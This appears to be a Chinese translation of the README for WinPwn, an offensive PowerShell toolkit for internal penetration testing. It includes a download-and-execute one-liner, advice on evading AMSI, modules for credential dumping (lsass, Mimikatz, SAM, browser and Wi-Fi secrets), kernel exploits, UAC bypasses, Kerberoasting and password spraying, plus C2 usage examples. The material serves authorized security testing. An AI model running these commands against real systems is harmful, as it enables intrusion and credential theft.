在过去的许多内部渗透测试中,由于缺少代理支持,我经常遇到现有 Powershell Recon / Exploitation 脚本的问题。我也经常一个接一个地运行相同的脚本来获取有关当前系统和/或域的信息。为了使尽可能多的内部渗透测试过程(侦察和利用)自动化,并且出于代理原因,我编写了自己的脚本,具有自动代理识别和集成功能。该脚本主要基于其他知名的大型攻击性安全 Powershell 项目。
欢迎任何建议、反馈、拉取请求和评论!
只需导入模块:
Import-Module .\WinPwn.ps1
或者 iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
要绕过 AMSI,请采用现有绕过技术之一,找到 AMSI触发器并在旁路函数中手动更改它或对触发器字符串进行编码。或者混淆整个脚本。
如果您发现自己被困在无法访问互联网的 Windows 系统上 - 完全没有问题,只需使用Offline_Winpwn.ps1
,其中包括最重要的脚本和可执行文件。
导入后可用的功能:
WinPwn
-> 选择攻击的菜单:Inveigh
-> 在新的控制台窗口中执行 Inveigh,集成会话管理 (Invoke-TheHash) 的 SMB 中继攻击SessionGopher
-> 执行 Sessiongopher 询问你的参数Kittielocal
->混淆的 Invoke-Mimikatz 版本
记忆中的 Safetykatz
使用 rundll32 技术转储 lsass
下载并运行经过混淆的 Lazagne
转储浏览器凭据
定制版 Mimikittenz
泄露 Wifi 凭证
转储 SAM 文件 NTLM 哈希
锐云
Localreconmodules
->收集已安装的软件、易受攻击的软件、共享、网络信息、组、权限等等
检查典型的漏洞,如 SMB 签名、LLMNR 中毒、MITM6、WSUS over HTTP
检查 Powershell 事件日志中的凭据或其他敏感信息
收集浏览器凭证和历史记录
在注册表和文件系统中搜索密码
查找敏感文件(配置文件、RDP 文件、keepass 数据库)
在本地系统上搜索 .NET 二进制文件
可选:Get-Computerdetails (Powersploit) 和 PSRecon
Domainreconmodules
->收集各种域信息以供人工审核
在描述字段中查找 AD 密码
搜索潜在的敏感域共享文件
枚举不受约束的委托系统/用户
生成猎犬报告
域系统的 MS17-10 扫描器
用于域系统的 Bluekeep 扫描器
SQL Server 发现和审计功能 - PowerUpSQL
MS-RPRN 检查域控制器或所有系统
使用 Grouper2 进行组策略审计
使用 ADRecon 在 CSV 文件(或 XLS,如果安装了 excel)中生成 AD 报告
检查打印机是否存在常见漏洞
搜索基于资源的约束委派攻击路径
检查所有 DC 是否存在 zerologon - CVE-2020-1472
还有更多,随便看看
Privescmodules
itm4ns 调用-PrivescCheck
winPEAS
Powersploits PowerUp Allchecks、Sherlock、GPP 密码
DLL 劫持、文件权限、注册表权限和弱密钥、Rotten/Juicy Potato Check
kernelexploits
->MS15-077 - (XP/Vista/Win7/Win8/2000/2003/2008/2012) 仅限 x86!
MS16-032 - (2008/7/8/10/2012)!
MS16-135 -(仅限 WS2k16)!
CVE-2018-8120 - 2018 年 5 月,Windows 7 SP1/2008 SP2、2008 R2 SP1!
CVE-2019-0841 - 2019 年 4 月!
CVE-2019-1069 - Polarbear 硬链接,需要凭据 - 2019 年 6 月!
CVE-2019-1129/1130 - 竞争条件,需要多核 - 2019 年 7 月!
CVE-2019-1215 - 2019 年 9 月 - 仅限 x64!
CVE-2020-0638 - 2020 年 2 月 - 仅限 x64!
CVE-2020-0796 - SMBGhost
CVE-2020-0787 - 2020 年 3 月 - 所有 Windows 版本
CVE-2021-34527/CVE-2021-1675 - 2021 年 6 月 - PrintNightmare
CVE-2021-40449 - CallbackHell - 2021 年 10 月
多汁土豆漏洞利用
itm4ns Printspoofer
UACBypass
->UAC Magic,基于 James Forshaw 关于 UAC 的三部分帖子
UAC 绕过 cmstp 技术,作者 Oddvar Moe
DiskCleanup UAC 旁路,作者:James Forshaw
DccwBypassUAC 技术,作者:Ernesto Fernandez 和 Thomas Vanhoutte
SYSTEMShell
->使用 CreateProcess 弹出系统 Shell
使用 NamedPipe 模拟弹出系统 Shell
使用令牌操作弹出系统外壳
使用 UsoClient DLL 加载或 CreateProcess 绑定系统外壳
Shareenumeration
-> Invoke-Filefinder 和 Invoke-Sharefinder (Powerview / Powersploit)Domainshares
-> Snaffler 或 Passhunt 搜索所有域系统Groupsearch
-> Get-DomainGPOUserLocalGroupMapping - 通过组策略映射 (Powerview / Powersploit) 查找您具有管理员访问权限或 RDP 访问权限的系统Kerberoasting
-> 在新窗口中执行 Invoke-Kerberoast 并存储哈希以供以后破解PowerSQL
-> SQL Server 发现、检查当前用户的访问权限、审核默认凭据 + UNCPath 注入攻击Sharphound
-> Bloodhound 3.0 报告Adidnsmenu
-> 创建 Active Directory 集成 DNS 节点或删除它们MS17-10
-> 扫描域或所有系统中的活动 Windows 服务器以查找 MS17-10 (Eternalblue) 漏洞Sharpcradle
-> 从远程 Web 服务器加载 C# 文件到 RAMDomainPassSpray
-> DomainPasswordSpray 攻击,所有域用户一个密码Bluekeep
-> 用于域系统的 Bluekeep 扫描器如果没有参数,大多数函数只能在交互式 shell 中使用。所以我决定添加参数-noninteractive
并使-consoleoutput
脚本可用于异步 C2 框架,如 Empire、Covenant、Cobalt Strike 或其他框架。此外,-repo
添加了参数以使用 WinPwn 及其来自本地存储库的所有功能。它们可以按如下方式使用:
用法:
-noninteractive -> 对功能没有问题,以便它们使用预定义或用户定义的参数运行
-consoleoutput -> 不创建战利品/报告文件夹。每个函数都将输出返回到控制台,以便您可以查看 C2 框架示例的代理日志中的所有内容:
WinPwn -noninteractive -consoleoutput -DomainRecon
-> 这将返回每个域侦察脚本和函数,并且可能会为您提供非常多的输出
WinPwn -noninteractive -consoleoutput -Localrecon
-> 这将尽可能多地为本地系统枚举信息
Generalrecon -noninteractive
-> 执行基本的本地侦察功能并将输出存储在相应的文件夹中
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp
-> 从低特权会话中在高完整性进程中执行一个 stager
Kittielocal -noninteractive -consoleoutput -browsercredentials
-> 通过 Sharpweb 转储浏览器凭据,将输出返回到控制台
Kittielocal -noninteractive -browsercredentials
-> 转储 SAM 文件 NTLM-Hashes 并将输出存储在文件中
WinPwn -PowerSharpPack -consoleoutput -noninteractive
-> 在内存中执行 Seatbelt、PowerUp、Watson 和更多 C# 二进制文件
Dotnetsearch -consoleoutput -noninteractive
-> 在.NET 程序集中C:\Program Files\
搜索C:\Program Files (x86)\
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo
-> 使用本地网络服务器作为离线存储库以在没有互联网访问的情况下使用 WinPwn
Get_WinPwn_Repo.sh:
用法:./Get_WinPwn_Repo.sh {选项}
示例:./Get_WinPwn_Repo.sh --install
选项:--install 下载存储库并将其放置到 ./WinPwn_Repo/ --remove 删除存储库 ./WinPwn_Repo/ --reinstall 删除存储库并下载一个新存储库到 ./WinPwn_Repo/ --start-server 启动 python端口 8000 上的 HTTP 服务器 --help 显示此帮助
项目地址:https://github.com/S3cur3Th1sSh1t/WinPwn